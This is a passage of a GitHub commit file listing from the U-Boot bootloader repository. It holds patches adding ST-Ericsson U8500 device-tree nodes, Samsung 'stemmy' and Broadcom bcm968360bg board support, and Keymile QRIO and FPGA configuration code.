\"arm,mali-400\";\n+\t\t\treg = <0xa0300000 0x10000>;\n+\t\t\tinterrupts = <GIC_SPI 115 IRQ_TYPE_LEVEL_HIGH>,\n+\t\t\t\t <GIC_SPI 114 IRQ_TYPE_LEVEL_HIGH>,\n+\t\t\t\t <GIC_SPI 113 IRQ_TYPE_LEVEL_HIGH>,\n+\t\t\t\t <GIC_SPI 112 IRQ_TYPE_LEVEL_HIGH>,\n+\t\t\t\t <GIC_SPI 116 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-names = \"gp\",\n+\t\t\t\t\t \"gpmmu\",\n+\t\t\t\t\t \"pp0\",\n+\t\t\t\t\t \"ppmmu0\",\n+\t\t\t\t\t \"combined\";\n+\t\t\tclocks = <&prcmu_clk PRCMU_ACLK>, <&prcmu_clk PRCMU_SGACLK>;\n+\t\t\tclock-names = \"bus\", \"core\";\n+\t\t\tmali-supply = <&db8500_sga_reg>;\n+\t\t\tpower-domains = <&pm_domains DOMAIN_VAPE>;\n+\t\t};\n+\n+\t\tmcde@a0350000 {\n+\t\t\tcompatible = \"ste,mcde\";\n+\t\t\treg = <0xa0350000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 48 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tepod-supply = <&db8500_b2r2_mcde_reg>;\n+\t\t\tclocks = <&prcmu_clk PRCMU_MCDECLK>, /* Main MCDE clock */\n+\t\t\t\t <&prcmu_clk PRCMU_LCDCLK>, /* LCD clock */\n+\t\t\t\t <&prcmu_clk PRCMU_PLLDSI>; /* HDMI clock */\n+\t\t\tclock-names = \"mcde\", \"lcd\", \"hdmi\";\n+\t\t\t#address-cells = <1>;\n+\t\t\t#size-cells = <1>;\n+\t\t\tranges;\n+\t\t\tstatus = \"disabled\";\n+\n+\t\t\tdsi0: dsi@a0351000 {\n+\t\t\t\tcompatible = \"ste,mcde-dsi\";\n+\t\t\t\treg = <0xa0351000 0x1000>;\n+\t\t\t\tclocks = <&prcmu_clk PRCMU_DSI0CLK>, <&prcmu_clk PRCMU_DSI0ESCCLK>;\n+\t\t\t\tclock-names = \"hs\", \"lp\";\n+\t\t\t\t#address-cells = <1>;\n+\t\t\t\t#size-cells = <0>;\n+\t\t\t};\n+\t\t\tdsi1: dsi@a0352000 {\n+\t\t\t\tcompatible = \"ste,mcde-dsi\";\n+\t\t\t\treg = <0xa0352000 0x1000>;\n+\t\t\t\tclocks = <&prcmu_clk PRCMU_DSI1CLK>, <&prcmu_clk PRCMU_DSI1ESCCLK>;\n+\t\t\t\tclock-names = \"hs\", \"lp\";\n+\t\t\t\t#address-cells = <1>;\n+\t\t\t\t#size-cells = <0>;\n+\t\t\t};\n+\t\t\tdsi2: dsi@a0353000 {\n+\t\t\t\tcompatible = \"ste,mcde-dsi\";\n+\t\t\t\treg = <0xa0353000 0x1000>;\n+\t\t\t\t/* This DSI port only has the Low Power / Energy Save clock */\n+\t\t\t\tclocks = <&prcmu_clk PRCMU_DSI2ESCCLK>;\n+\t\t\t\tclock-names = \"lp\";\n+\t\t\t\t#address-cells = <1>;\n+\t\t\t\t#size-cells = <0>;\n+\t\t\t};\n+\t\t};\n+\n+\t\tcryp@a03cb000 {\n+\t\t\tcompatible = \"stericsson,ux500-cryp\";\n+\t\t\treg = <0xa03cb000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 15 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\t\t\tclocks = <&prcc_pclk 6 1>;\n+\t\t};\n+\n+\t\thash@a03c2000 {\n+\t\t\tcompatible = \"stericsson,ux500-hash\";\n+\t\t\treg = <0xa03c2000 0x1000>;\n+\n+\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\t\t\tclocks = <&prcc_pclk 6 2>;\n+\t\t};\n+\t};\n+};"}<_**next**_>{"sha": "7e7f4c823a9e1df2d9f1f0bff796d155acfb792f", "filename": "arch/arm/dts/ste-ux500-samsung-stemmy.dts", "status": "added", "additions": 20, "deletions": 0, "changes": 20, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-ux500-samsung-stemmy.dts", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-ux500-samsung-stemmy.dts", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/ste-ux500-samsung-stemmy.dts?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,20 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/dts-v1/;\n+\n+#include \"ste-dbx5x0-u-boot.dtsi\"\n+#include \"ste-ab8500.dtsi\"\n+\n+/ {\n+\tcompatible = \"samsung,stemmy\", \"st-ericsson,u8500\";\n+\n+\tchosen {\n+\t\tstdout-path = &serial2;\n+\t};\n+\n+\tsoc {\n+\t\t/* Debugging console UART */\n+\t\tuart@80007000 {\n+\t\t\tstatus = \"okay\";\n+\t\t};\n+\t};\n+};"}<_**next**_>{"sha": "acb7ea9a3eb47788ab4794313ceea8b227689c14", "filename": "arch/arm/include/asm/gpio.h", "status": "modified", "additions": 6, "deletions": 5, "changes": 11, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/include/asm/gpio.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/include/asm/gpio.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/include/asm/gpio.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -1,9 +1,10 @@\n #if !defined(CONFIG_ARCH_UNIPHIER) && !defined(CONFIG_ARCH_STI) && \\\n-\t!defined(CONFIG_ARCH_K3) && !defined(CONFIG_ARCH_BCM6858) && \\\n-\t!defined(CONFIG_ARCH_BCM63158) && !defined(CONFIG_ARCH_ROCKCHIP) && \\\n-\t!defined(CONFIG_ARCH_LX2160A) && !defined(CONFIG_ARCH_LS1028A) && \\\n-\t!defined(CONFIG_ARCH_LS2080A) && !defined(CONFIG_ARCH_LS1088A) && \\\n-\t!defined(CONFIG_ARCH_ASPEED)\n+\t!defined(CONFIG_ARCH_K3) && !defined(CONFIG_ARCH_BCM68360) && \\\n+\t!defined(CONFIG_ARCH_BCM6858) && !defined(CONFIG_ARCH_BCM63158) && \\\n+\t!defined(CONFIG_ARCH_ROCKCHIP) && !defined(CONFIG_ARCH_LX2160A) && \\\n+\t!defined(CONFIG_ARCH_LS1028A) && !defined(CONFIG_ARCH_LS2080A) && \\\n+\t!defined(CONFIG_ARCH_LS1088A) && !defined(CONFIG_ARCH_ASPEED) && \\\n+\t!defined(CONFIG_ARCH_U8500)\n #include <asm/arch/gpio.h>\n #endif\n #include <asm-generic/gpio.h>"}<_**next**_>{"sha": "7478deb25f510670aa2cd49b844c0ea7e58a9f82", "filename": "arch/arm/mach-u8500/Kconfig", "status": "added", "additions": 27, "deletions": 0, "changes": 27, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/mach-u8500/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,27 @@\n+if ARCH_U8500\n+\n+config SYS_SOC\n+\tdefault \"u8500\"\n+\n+choice\n+\tprompt \"U8500 board selection\"\n+\n+config TARGET_STEMMY\n+\tbool \"Samsung (stemmy) board\"\n+\thelp\n+\t The Samsung \"stemmy\" board supports Samsung smartphones released with\n+\t the ST-Ericsson NovaThor U8500 SoC, e.g.\n+\n+\t - Samsung Galaxy S III mini (GT-I8190)\t\"golden\"\n+\t - Samsung Galaxy S Advance (GT-I9070)\t\"janice\"\n+\t - Samsung Galaxy Xcover 2 (GT-S7710)\t\"skomer\"\n+\n+\t and likely others as well (untested).\n+\n+\t See board/ste/stemmy/README for details.\n+\n+endchoice\n+\n+source \"board/ste/stemmy/Kconfig\"\n+\n+endif"}<_**next**_>{"sha": "0a53cbd9ac0855573f7b7fbc4a94f1e15288b124", "filename": "arch/arm/mach-u8500/Makefile", "status": "added", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/mach-u8500/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,4 @@\n+# SPDX-License-Identifier: GPL-2.0-or-later\n+\n+obj-y\t+= cache.o\n+obj-$(CONFIG_DISPLAY_CPUINFO)\t+= cpuinfo.o"}<_**next**_>{"sha": "3d96d09f31e52ca6cac4d7e0ccf752bb169a495b", "filename": "arch/arm/mach-u8500/cache.c", "status": "added", "additions": 37, "deletions": 0, "changes": 37, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/cache.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/cache.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/mach-u8500/cache.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,37 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright (C) 2019 Stephan Gerhold <stephan@gerhold.net>\n+ */\n+\n+#include <common.h>\n+#include <cpu_func.h>\n+#include <asm/armv7.h>\n+#include <asm/pl310.h>\n+\n+#define PL310_WAY_MASK\t0xff\n+\n+#if !CONFIG_IS_ENABLED(SYS_DCACHE_OFF)\n+void enable_caches(void)\n+{\n+\t/* Enable D-cache. I-cache is already enabled in start.S */\n+\tdcache_enable();\n+}\n+#endif\n+\n+#ifdef CONFIG_SYS_L2_PL310\n+void v7_outer_cache_disable(void)\n+{\n+\tstruct pl310_regs *const pl310 = (struct pl310_regs *)CONFIG_SYS_PL310_BASE;\n+\n+\t/*\n+\t * Linux expects the L2 cache to be turned off by the bootloader.\n+\t * Otherwise, it fails very early (shortly after decompressing the kernel).\n+\t *\n+\t * On U8500, the L2 cache can be only turned on/off from the secure world.\n+\t * Instead, prevent usage of the L2 cache by locking all ways.\n+\t * The kernel needs to unlock them to make the L2 cache work again.\n+\t */\n+\twritel(PL310_WAY_MASK, &pl310->pl310_lockdown_dbase);\n+\twritel(PL310_WAY_MASK, &pl310->pl310_lockdown_ibase);\n+}\n+#endif"}<_**next**_>{"sha": "20f5ff339826e19edf27e7bb2ec4b85924722c11", "filename": "arch/arm/mach-u8500/cpuinfo.c", "status": "added", "additions": 25, "deletions": 0, "changes": 25, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/cpuinfo.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/mach-u8500/cpuinfo.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/mach-u8500/cpuinfo.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,25 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright (C) 2019 Stephan Gerhold <stephan@gerhold.net>\n+ */\n+\n+#include <common.h>\n+#include <asm/io.h>\n+\n+#define U8500_BOOTROM_BASE\t0x90000000\n+#define U8500_ASIC_ID_LOC_V2\t(U8500_BOOTROM_BASE + 0x1DBF4)\n+\n+int print_cpuinfo(void)\n+{\n+\t/* Convert ASIC ID to display string, e.g. 0x8520A0 => DB8520 V1.0 */\n+\tu32 asicid = readl(U8500_ASIC_ID_LOC_V2);\n+\tu32 cpu = (asicid >> 8) & 0xffff;\n+\tu32 rev = asicid & 0xff;\n+\n+\t/* 0xA0 => 0x10 (V1.0) */\n+\tif (rev >= 0xa0)\n+\t\trev -= 0x90;\n+\n+\tprintf(\"CPU: ST-Ericsson DB%x V%d.%d\\n\", cpu, rev >> 4, rev & 0xf);\n+\treturn 0;\n+}"}<_**next**_>{"sha": "dd372f126aef9e6629b5de5da909033f1170fce7", "filename": "board/broadcom/bcm968360bg/Kconfig", "status": "added", "additions": 17, "deletions": 0, "changes": 17, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/broadcom/bcm968360bg/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,17 @@\n+if ARCH_BCM68360\n+\n+config SYS_VENDOR\n+\tdefault \"broadcom\"\n+\n+config SYS_BOARD\n+\tdefault \"bcm968360bg\"\n+\n+config SYS_CONFIG_NAME\n+\tdefault \"broadcom_bcm968360bg\"\n+\n+endif\n+\n+config TARGET_BCM968360BG\n+\tbool \"Support Broadcom bcm968360bg\"\n+\tdepends on ARCH_BCM68360\n+\tselect ARM64"}<_**next**_>{"sha": "cfcbbc51f8e604ade33f26404ca7d6769113ea8e", "filename": "board/broadcom/bcm968360bg/MAINTAINERS", "status": "added", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/MAINTAINERS", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/MAINTAINERS", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/broadcom/bcm968360bg/MAINTAINERS?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,6 @@\n+BCM968360BG BOARD\n+M:\tPhilippe Reynes <philippe.reynes@softathome.com>\n+S:\tMaintained\n+F:\tboard/broadcom/bcm968360bg\n+F:\tinclude/configs/broadcom_bcm968360bg.h\n+F:\tconfigs/bcm968360bg_ram_defconfig"}<_**next**_>{"sha": "d099c1cf35691a881edfc526dde37187d9427fb3", "filename": "board/broadcom/bcm968360bg/Makefile", "status": "added", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/broadcom/bcm968360bg/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,3 @@\n+# SPDX-License-Identifier: GPL-2.0+\n+\n+obj-y\t+= bcm968360bg.o"}<_**next**_>{"sha": "a5fbc1d297cde2a073831e415029d752530264c4", "filename": "board/broadcom/bcm968360bg/bcm968360bg.c", "status": "added", "additions": 61, "deletions": 0, "changes": 61, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/bcm968360bg.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/broadcom/bcm968360bg/bcm968360bg.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/broadcom/bcm968360bg/bcm968360bg.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,61 @@\n+// SPDX-License-Identifier: GPL-2.0+\n+/*\n+ * Copyright (C) 2020 Philippe Reynes <philippe.reynes@softathome.com>\n+ */\n+\n+#include <common.h>\n+#include <fdtdec.h>\n+#include <linux/io.h>\n+\n+#ifdef CONFIG_ARM64\n+#include <asm/armv8/mmu.h>\n+\n+static struct mm_region broadcom_bcm968360bg_mem_map[] = {\n+\t{\n+\t\t/* RAM */\n+\t\t.virt = 0x00000000UL,\n+\t\t.phys = 0x00000000UL,\n+\t\t.size = 8UL * SZ_1G,\n+\t\t.attrs = PTE_BLOCK_MEMTYPE(MT_NORMAL) |\n+\t\t\t PTE_BLOCK_INNER_SHARE\n+\t}, {\n+\t\t/* SoC */\n+\t\t.virt = 0x80000000UL,\n+\t\t.phys = 0x80000000UL,\n+\t\t.size = 0xff80000000UL,\n+\t\t.attrs = PTE_BLOCK_MEMTYPE(MT_DEVICE_NGNRNE) |\n+\t\t\t PTE_BLOCK_NON_SHARE |\n+\t\t\t PTE_BLOCK_PXN | PTE_BLOCK_UXN\n+\t}, {\n+\t\t/* List terminator */\n+\t\t0,\n+\t}\n+};\n+\n+struct mm_region *mem_map = broadcom_bcm968360bg_mem_map;\n+#endif\n+\n+int board_init(void)\n+{\n+\treturn 0;\n+}\n+\n+int dram_init(void)\n+{\n+\tif (fdtdec_setup_mem_size_base() != 0)\n+\t\tprintf(\"fdtdec_setup_mem_size_base() has failed\\n\");\n+\n+\treturn 0;\n+}\n+\n+int dram_init_banksize(void)\n+{\n+\tfdtdec_setup_memory_banksize();\n+\n+\treturn 0;\n+}\n+\n+int print_cpuinfo(void)\n+{\n+\treturn 0;\n+}"}<_**next**_>{"sha": "0cb33663aaa899a7031a16dd4fee6090c062b8d3", "filename": "board/keymile/common/qrio.c", "status": "renamed", "additions": 78, "deletions": 5, "changes": 83, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/common/qrio.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/common/qrio.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/common/qrio.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -6,8 +6,8 @@\n \n #include <common.h>\n \n-#include \"../common/common.h\"\n-#include \"kmp204x.h\"\n+#include \"common.h\"\n+#include \"qrio.h\"\n \n /* QRIO GPIO register offsets */\n #define DIRECT_OFF\t\t0x18\n@@ -135,10 +135,10 @@ void qrio_prstcfg(u8 bit, u8 mode)\n \tprstcfg = in_be32(qrio_base + PRSTCFG_OFF);\n \n \tfor (i = 0; i < 2; i++) {\n-\t\tif (mode & (1<<i))\n-\t\t\tset_bit(2*bit+i, &prstcfg);\n+\t\tif (mode & (1 << i))\n+\t\t\tset_bit(2 * bit + i, &prstcfg);\n \t\telse\n-\t\t\tclear_bit(2*bit+i, &prstcfg);\n+\t\t\tclear_bit(2 * bit + i, &prstcfg);\n \t}\n \n \tout_be32(qrio_base + PRSTCFG_OFF, prstcfg);\n@@ -180,6 +180,7 @@ void qrio_cpuwd_flag(bool flag)\n {\n \tu8 reason1;\n \tvoid __iomem *qrio_base = (void *)CONFIG_SYS_QRIO_BASE;\n+\n \treason1 = in_8(qrio_base + REASON1_OFF);\n \tif (flag)\n \t\treason1 |= REASON1_CPUWD;\n@@ -188,6 +189,30 @@ void qrio_cpuwd_flag(bool flag)\n \tout_8(qrio_base + REASON1_OFF, reason1);\n }\n \n+#define REASON0_OFF\t0x13\n+#define REASON0_SWURST\t0x80\n+#define REASON0_CPURST\t0x40\n+#define REASON0_BPRST\t0x20\n+#define REASON0_COPRST\t0x10\n+#define REASON0_SWCRST\t0x08\n+#define REASON0_WDRST\t0x04\n+#define REASON0_KBRST\t0x02\n+#define REASON0_POWUP\t0x01\n+#define UNIT_RESET\\\n+\t(REASON0_POWUP | REASON0_COPRST | REASON0_KBRST |\\\n+\t REASON0_BPRST | REASON0_SWURST | REASON0_WDRST)\n+#define CORE_RESET ((REASON1_CPUWD << 8) | REASON0_SWCRST)\n+\n+bool qrio_reason_unitrst(void)\n+{\n+\tu16 reason;\n+\tvoid __iomem *qrio_base = (void *)CONFIG_SYS_QRIO_BASE;\n+\n+\treason = in_be16(qrio_base + REASON1_OFF);\n+\n+\treturn (reason & UNIT_RESET) > 0;\n+}\n+\n #define RSTCFG_OFF\t0x11\n \n void qrio_uprstreq(u8 mode)\n@@ -204,3 +229,51 @@ void qrio_uprstreq(u8 mode)\n \n \tout_8(qrio_base + RSTCFG_OFF, rstcfg);\n }\n+\n+/* I2C deblocking uses the algorithm defined in board/keymile/common/common.c\n+ * 2 dedicated QRIO GPIOs externally pull the SCL and SDA lines\n+ * For I2C only the low state is activly driven and high state is pulled-up\n+ * by a resistor. Therefore the deblock GPIOs are used\n+ * -> as an active output to drive a low state\n+ * -> as an open-drain input to have a pulled-up high state\n+ */\n+\n+/* By default deblock GPIOs are floating */\n+void i2c_deblock_gpio_cfg(void)\n+{\n+\t/* set I2C bus 1 deblocking GPIOs input, but 0 value for open drain */\n+\tqrio_gpio_direction_input(KM_I2C_DEBLOCK_PORT,\n+\t\t\t\t KM_I2C_DEBLOCK_SCL);\n+\tqrio_gpio_direction_input(KM_I2C_DEBLOCK_PORT,\n+\t\t\t\t KM_I2C_DEBLOCK_SDA);\n+\n+\tqrio_set_gpio(KM_I2C_DEBLOCK_PORT,\n+\t\t KM_I2C_DEBLOCK_SCL, 0);\n+\tqrio_set_gpio(KM_I2C_DEBLOCK_PORT,\n+\t\t KM_I2C_DEBLOCK_SDA, 0);\n+}\n+\n+void set_sda(int state)\n+{\n+\tqrio_set_opendrain_gpio(KM_I2C_DEBLOCK_PORT,\n+\t\t\t\tKM_I2C_DEBLOCK_SDA, state);\n+}\n+\n+void set_scl(int state)\n+{\n+\tqrio_set_opendrain_gpio(KM_I2C_DEBLOCK_PORT,\n+\t\t\t\tKM_I2C_DEBLOCK_SCL, state);\n+}\n+\n+int get_sda(void)\n+{\n+\treturn qrio_get_gpio(KM_I2C_DEBLOCK_PORT,\n+\t\t\t KM_I2C_DEBLOCK_SDA);\n+}\n+\n+int get_scl(void)\n+{\n+\treturn qrio_get_gpio(KM_I2C_DEBLOCK_PORT,\n+\t\t\t KM_I2C_DEBLOCK_SCL);\n+}\n+", "previous_filename": "board/keymile/kmp204x/qrio.c"}<_**next**_>{"sha": "a6cfd8165d564a950dca556587fa7082c0038a2d", "filename": "board/keymile/common/qrio.h", "status": "added", "additions": 40, "deletions": 0, "changes": 40, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/common/qrio.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/common/qrio.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/common/qrio.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,40 @@\n+/* SPDX-License-Identifier: GPL-2.0+ */\n+/*\n+ * (C) Copyright 2018 ABB\n+ * Valentin Longchamp <valentin.longchamp@ch.abb.com>\n+ */\n+\n+#ifndef __QRIO_H\n+#define __QRIO_H\n+\n+/* QRIO GPIO ports */\n+#define QRIO_GPIO_A\t\t0x40\n+#define QRIO_GPIO_B\t\t0x60\n+\n+int qrio_get_gpio(u8 port_off, u8 gpio_nr);\n+void qrio_set_opendrain_gpio(u8 port_off, u8 gpio_nr, u8 val);\n+void qrio_set_gpio(u8 port_off, u8 gpio_nr, bool value);\n+void qrio_gpio_direction_output(u8 port_off, u8 gpio_nr, bool value);\n+void qrio_gpio_direction_input(u8 port_off, u8 gpio_nr);\n+\n+/* QRIO Periphery reset configurations */\n+#define PRSTCFG_POWUP_UNIT_CORE_RST\t0x0\n+#define PRSTCFG_POWUP_UNIT_RST\t\t0x1\n+#define PRSTCFG_POWUP_RST\t\t0x3\n+\n+void qrio_prst(u8 bit, bool en, bool wden);\n+void qrio_wdmask(u8 bit, bool wden);\n+void qrio_prstcfg(u8 bit, u8 mode);\n+void qrio_set_leds(void);\n+void qrio_enable_app_buffer(void);\n+void qrio_cpuwd_flag(bool flag);\n+bool qrio_reason_unitrst(void);\n+\n+/* QRIO uP reset request configurations */\n+#define UPREQ_UNIT_RST\t\t0x0\n+#define UPREQ_CORE_RST\t\t0x1\n+\n+void qrio_uprstreq(u8 mode);\n+\n+void i2c_deblock_gpio_cfg(void);\n+#endif /* __QRIO_H */"}<_**next**_>{"sha": "4b21db8573100ad4db90a6f931bf0edc5d6a1bfc", "filename": "board/keymile/km_arm/Kconfig", "status": "modified", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/km_arm/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -7,6 +7,18 @@ config KM_FPGA_CONFIG\n \thelp\n \t Include capability to change FPGA configuration.\n \n+config KM_FPGA_FORCE_CONFIG\n+\tbool \"FPGA reconfiguration\"\n+\tdefault n\n+\thelp\n+\t If yes we force to reconfigure the FPGA always\n+\n+config KM_FPGA_NO_RESET\n+\tbool \"FPGA skip reset\"\n+\tdefault n\n+\thelp\n+\t If yes we skip triggering a reset of the FPGA\n+\n config KM_ENV_IS_IN_SPI_NOR\n \tbool \"Environment in SPI NOR\"\n \tdefault n"}<_**next**_>{"sha": "3eeb50906034e1038d251f44a6b00ceedfd174ae", "filename": "board/keymile/km_arm/MAINTAINERS", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/MAINTAINERS", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/MAINTAINERS", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/km_arm/MAINTAINERS?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -8,5 +8,4 @@ F:\tconfigs/km_kirkwood_128m16_defconfig\n F:\tconfigs/km_kirkwood_pci_defconfig\n F:\tconfigs/kmcoge5un_defconfig\n F:\tconfigs/kmnusa_defconfig\n-F:\tconfigs/kmsugp1_defconfig\n-F:\tconfigs/kmsuv31_defconfig\n+F:\tconfigs/kmsuse2_defconfig"}<_**next**_>{"sha": "8bb0470bc3073aee35992c1b5fde8c819ae2fa0b", "filename": "board/keymile/km_arm/fpga_config.c", "status": "modified", "additions": 8, "deletions": 20, "changes": 28, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/fpga_config.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/fpga_config.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/km_arm/fpga_config.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -82,6 +82,7 @@ static int boco_set_bits(u8 reg, u8 flags)\n #define FPGA_INIT_B\t0x10\n #define FPGA_DONE\t0x20\n \n+#ifndef CONFIG_KM_FPGA_FORCE_CONFIG\n static int fpga_done(void)\n {\n \tint ret = 0;\n@@ -100,13 +101,16 @@ static int fpga_done(void)\n \n \treturn regval & FPGA_DONE ? 1 : 0;\n }\n+#endif /* CONFIG_KM_FPGA_FORCE_CONFIG */\n \n-int skip;\n+static int skip;\n \n int trigger_fpga_config(void)\n {\n \tint ret = 0;\n \n+\tskip = 0;\n+#ifndef CONFIG_KM_FPGA_FORCE_CONFIG\n \t/* if the FPGA is already configured, we do not want to\n \t * reconfigure it */\n \tskip = 0;\n@@ -115,6 +119,7 @@ int trigger_fpga_config(void)\n \t\tskip = 1;\n \t\treturn 0;\n \t}\n+#endif /* CONFIG_KM_FPGA_FORCE_CONFIG */\n \n \tif (check_boco2()) {\n \t\t/* we have a BOCO2, this has to be triggered here */\n@@ -188,29 +193,12 @@ int wait_for_fpga_config(void)\n \treturn 0;\n }\n \n-#if defined(KM_PCIE_RESET_MPP7)\n-\n-#define KM_PEX_RST_GPIO_PIN\t7\n+#if defined(CONFIG_KM_FPGA_NO_RESET)\n int fpga_reset(void)\n {\n-\tif (!check_boco2()) {\n-\t\t/* we do not have BOCO2, this is not really used */\n-\t\treturn 0;\n-\t}\n-\n-\tprintf(\"PCIe reset through GPIO7: \");\n-\t/* apply PCIe reset via GPIO */\n-\tkw_gpio_set_valid(KM_PEX_RST_GPIO_PIN, 1);\n-\tkw_gpio_direction_output(KM_PEX_RST_GPIO_PIN, 1);\n-\tkw_gpio_set_value(KM_PEX_RST_GPIO_PIN, 0);\n-\tudelay(1000*10);\n-\tkw_gpio_set_value(KM_PEX_RST_GPIO_PIN, 1);\n-\n-\tprintf(\" done\\n\");\n-\n+\t/* no dedicated reset pin for FPGA */\n \treturn 0;\n }\n-\n #else\n \n #define PRST1\t\t0x4"}<_**next**_>{"sha": "7d191ab860b58f257b066f8d812f80c38f502396", "filename": "board/keymile/km_arm/km_arm.c", "status": "modified", "additions": 0, "deletions": 4, "changes": 4, 